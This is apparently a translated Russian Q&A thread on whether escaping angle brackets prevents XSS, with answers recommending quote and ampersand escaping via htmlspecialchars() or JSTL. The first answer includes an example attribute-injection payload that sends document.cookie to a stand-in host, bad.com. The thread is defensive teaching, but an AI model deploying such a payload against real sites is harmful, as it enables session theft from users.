Является заменой: <и> на &lt; и &gt; достаточно для предотвращения инъекции XSS?

Я хочу знать, достаточно ли назначить две метки < и >, чтобы предотвратить инъекции XSS?

А если нет, то почему? И какое лучшее решение?

Ответ 1

Это сильно зависит от контекста.

Посмотрите этот пример с обычного сайта форума...

Вы можете настроить ссылку на изображение аватара. Введите полный URL.

Вредоносный пользователь входит в поле ввода

http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie) 

Кодировки там меньше и больше, но все еще большое дыра в безопасности.

С htmlspecialchars() я нашел, что неплохо было (или использовать) его функцию-оболочку, которая отличает строку, обеспечивает более простой способ отключить двойное кодирование (при необходимости) и обеспечить его использование правильный набор символов вашего приложения. Кохана имеет отличный пример.

Ответ 2

Вы должны также принимать во внимание двойные кавычки ", singlequotes ' и амперсанды &. Если вы все это сделаете во время отображения/создания вывода, то да, достаточно.

Вы должны только убедиться, что вы делаете это для любых управляемых пользователем входов, таких как параметры запроса, URL-адрес запроса, заголовки запросов и пользовательский ввод, который хранится в хранилище данных.

В PHP вы можете сделать это с помощью htmlspecialchars(), а в JSP cou можно сделать это с помощью JSTL <c:out>.